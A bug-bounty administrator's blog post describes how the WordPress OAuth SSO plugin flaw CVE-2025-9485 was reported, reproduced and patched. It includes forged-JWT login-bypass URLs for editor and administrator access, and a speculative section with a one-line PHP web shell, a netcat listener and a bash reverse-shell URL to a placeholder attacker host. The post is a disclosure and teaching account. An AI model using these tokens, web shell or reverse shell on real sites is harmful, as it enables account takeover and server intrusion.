The Plugin That Lets Anyone In
gpt-sueme

The Plugin That Lets Anyone In

Tales From A Bug Bounty Admin

Deconstructing the CVE-2025-9485

The context

It started like any other email. In my inbox, messages usually fall into one of two categories: requests from researchers wanting to join the platform, or vulnerability reports often complete with a proof of concept.

The issue was a bit confusing at first. A researcher wrote, “I managed to access the admin and create a new user without a password.” "Its because The OAuth Single Sign On – SSO (OAuth Client) plugin for WordPress is vulnerable to CVE-2025-9485". The report included screenshots of the WordPress dashboard users, admins, plugins and themes. There was even a URL that, when clicked, took me straight into the dashboard as an Editor, no login required.

Analysis

Understanding CVE-2025-9485

It was first published 3 of October, 2025 and updated October 4, 2025. Categorized as Critical 9.8 and the title: Improper Verification of Cryptographic Signature. This vulnerability affects all versions up to and including 6.26.12

In Wordfence the description is the following: due to the plugin performing unsafe JWT token processing without verification or validation in the get_resource_owner_from_id_token function. This makes it possible for unauthenticated attackers to bypass authentication and gain access to any existing user account - including administrators in certain configurations - or to create arbitrary subscriber-level accounts. Also mentioned in NVD-Nist.Gov

Attack Vector

Enumerating users on WordPress is relatively straightforward. Tools like WPScan, or endpoints such as /author-sitemap.xml and /wp-json/wp/v2/users, can easily expose usernames.

Goal

By modifying the email field within the JWT payload and refreshing the token, an attacker can impersonate another user and gain unauthorized access to the WordPress dashboard. Initially, this allows access with editor-level privileges. However, by re-editing the JWT token to include the email address of an administrator, the attacker can escalate privileges further and gain full administrative access to the WordPress instance.

Creating the POC

Gaining Editor-level privileges

Analyzing the url we received: The JWT embedded in the URL can be reused to authenticate a new session. When the encoded URL is accessed in an incognito window, it automatically logs the user into the Domains WordPress dashboard with editor privileges.

This level of authority doesn’t allow listing plugins or themes, or creating new pages. However, it does allow publishing articles on pages created by the admin. It also exposes the list of administrator accounts along with their email addresses and information that can also be enumerated using tools like WPScan.

https://domain.com/?code=foo&state=b2t0YQ%3D%3D&id_token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IlRlc3RlciIsImFkbWluIjp0cnVlLCJlbWFpbCI6ImVtYWlsLWZvdW5kQGVtYWlsLmNvbSIsImlhdCI6MTc1OTU2OTQzMiwiZXhwIjoxNzU5NTczMDMyfQ.fN5LqYFEqYE-T-Gg2BE7VvLckmnEblSMby0rF_n7I4c        

Deconstruction

 Attack domain : https://domain.com/?code=foo&state=b2t0YQ%3D%3D&id_token=        
URL decoded: https://domain.com/?code=foo&state=b2t0YQ==&id_token=        
Base64 Decoded: https://domain.com/?code=foo&state=okta&id_token        

Decoded JWT Token

{"sub": "1234567890", "name": "Tester", "admin": true, "email": "email-found@email.com", "iat": 1759569432, "exp": 1759573032}        


Gaining Administrator-level privileges


By crafting a new JWT token using a higher-privileged email and the signing algorithm HS256, with the private key set to “secret”, it was possible to escalate privileges and gain administrator access.

{"sub": "1234567890","name": "Tester","admin": true, "email": "administrator@email.com", "iat": 1759569432, "exp": 1759573032 }         
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IlRlc3RlciIsImFkbWluIjp0cnVlLCJlbWFpbCI6ImFkbWluaXN0cmF0b3JAZW1haWwuY29tIiwiaWF0IjoxNzU5NTY5NDMyLCJleHAiOjE3NTk1NzMwMzJ9.32rKIWDm_vXfOCRD-oN4YZZ7zbjsCR4r2y-CIfrjhnA        

Admin url

https://domain.com/?code=foo&state=b2t0YQ%3D%3D&id_token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IlRlc3RlciIsImFkbWluIjp0cnVlLCJlbWFpbCI6ImFkbWluaXN0cmF0b3JAZW1haWwuY29tIiwiaWF0IjoxNzU5NTY5NDMyLCJleHAiOjE3NTk1NzMwMzJ9.32rKIWDm_vXfOCRD-oN4YZZ7zbjsCR4r2y-CIfrjhnA        


What happened after

What happened next was both fascinating and alarming. After replacing the email in the token and signing it with the key “secret,” I logged out as editor i added the new URL and the dashboard reloaded, this time with full administrator privileges. Every menu item was unlocked: plugins, themes, user management and settings.

The plugin had accepted the forged token as genuine, proving that it never verified the cryptographic signature.

Giving a clear proof of concept that the plugin was the affected version

Article content
Poc 1 - SSO Plugin

Mitigation

  • We promptly informed the responsible team, and a patch was deployed within a few hours. After the update, the proof-of-concept payload failed to execute, returning a 500 Internal Server Error response
  • The unauthorized user was then removed from the admin dashboard.
  • We verified that no backdoors had been installed and carefully reviewed the logs for any signs of suspicious activity.
  • Finally, we awarded the researcher a critical-severity bounty for responsibly disclosing the issue.


What Could Have Gone Wrong - Theories and Hypotheses


Case 1 - Installing a backdoor

As an administrator, you have the right to edit themes or create pages. For security reasons, some themes have the PHP editing feature disabled by default. However, this can be easily reactivated and a single line of code could have given an adversary access to the server.

For example, by inserting this line into an existing .php file or creating a new one (e.g., page.php), it is possible to re-enable PHP execution within the theme, effectively bypassing the restriction and adding the line:

system($_REQUEST['cmd']);        

On terminal

Create a listener like:

nc -lvnp 80 or 443 or a unsuspicious port         

On page add

http://domain.com/templates/page.php?cmd=bash%20-c%20%22bash%20-i%20%3E%26%20/dev/tcp/attacker-ip/port/%200%3E%261%22        

Such access could establish a session from which an adversary might move laterally within the web server environment, escalate privileges, and pivot to other connected systems.


Case 2 - Write Privileges

An adversary with administrative access could delete all user accounts and site files, alter existing pages and articles, and effectively lock out legitimate administrators gaining complete control of the WordPress installation.

Case 3 - Send Emails

Using the information obtained, an adversary could conduct a phishing campaign by sending malicious files to other users, thereby increasing the likelihood of compromising additional systems.

Case 4 - Encrypting everything

An adversary could have compromised the web server, encrypted all data, and left a ransom note. Such an incident would have resulted in significant reputational and economical damage and widespread media coverage.


And That’s How You (Almost) Lose a Server.

This case was a clear reminder of how a single missing validation step can completely compromise an application’s security. Even well-established plugins can introduce critical flaws if security checks are assumed rather than verified.

Thanks to responsible disclosure and quick collaboration, the issue was fixed before it could be exploited in the wild. It shows the value of strong communication between researchers, administrators, and developers and how swift action can turn a potential disaster into a learning opportunity.

To view or add a comment, sign in

More articles by Gabriel B.

Others also viewed

Explore content categories